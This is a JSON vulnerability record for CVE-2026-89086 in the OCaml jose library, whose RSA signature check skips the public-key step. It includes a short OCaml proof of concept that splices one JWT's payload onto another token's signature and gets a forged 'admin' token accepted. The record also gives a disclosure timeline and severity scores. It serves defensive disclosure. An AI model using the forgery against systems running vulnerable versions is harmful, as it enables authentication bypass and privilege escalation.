{"id":"CVE-2026-89086","aliases":["CVE-2026-89086","OSEC-2026-19"],"related":[],"kind":"vulnerability","state":"published","title":"JOSE: missing RSA signature verification","summary":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.","source":"cvelist"},{"lang":"en","text":"The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |> Result.get_ok |> Jose.Jwt.to_string\n\nlet seg n token = List.nth (String.split_on_char '.' token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice's header and signature, admin's payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |> Result.get_ok\n  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t ->\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -> print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory","format":"markdown","source":"osec"}],"published":"2026-09-10T10:00:00.000Z","modified":"2026-11-06T13:45:05.033Z","severity":{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},"severities":[{"scorer":"mitre","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"},{"scorer":"OCaml Security Advisories","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-347"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"0.11.0","status":"affected"}],"vendor":"OCaml","product":"jose","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.11.0"}],"ecosystem":"opam","package":"jose","purl":"pkg:opam/jose","source":"osec"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"cf17d991ec6a0d1997956b6c7799890f9c28879e"}],"repo":"https://github.com/ulrikstrid/ocaml-jose","source":"osec"}],"references":[{"url":"https://github.com/ulrikstrid/ocaml-jose/commit/cf17d991ec6a0d1997956b6c7799890f9c28879e","tags":[],"sources":["cvelist","nvd"]},{"url":"https://osv.dev/vulnerability/OSEC-2026-19","tags":[],"sources":["cvelist","nvd"]}],"credits":["Sergey Zhukaev","Hannes Mehnert","Konstantin Olkhovskiy","Ulrik Strid"],"assigner":"mitre","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-09-10T20:40:09.935Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-89086","url":"https://www.cve.org/CVERecord?id=CVE-2026-89086","licence":"CVE Terms of Use","modified":"2026-09-10T21:00:25.030Z"},{"source":"osec","name":"OCaml Security Advisories","id":"OSEC-2026-19","url":"https://osv.dev/vulnerability/OSEC-2026-19","licence":"CC0-1.0","modified":"2026-11-06T13:45:05.033Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-89086","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89086","licence":"Public domain","modified":"2026-09-22T20:00:03.713Z"}],"updatedAt":"2026-11-25T22:59:37.898Z","epss":{"score":0.00198,"percentile":0.101,"date":"2026-12-01T12:00:22.000Z"}}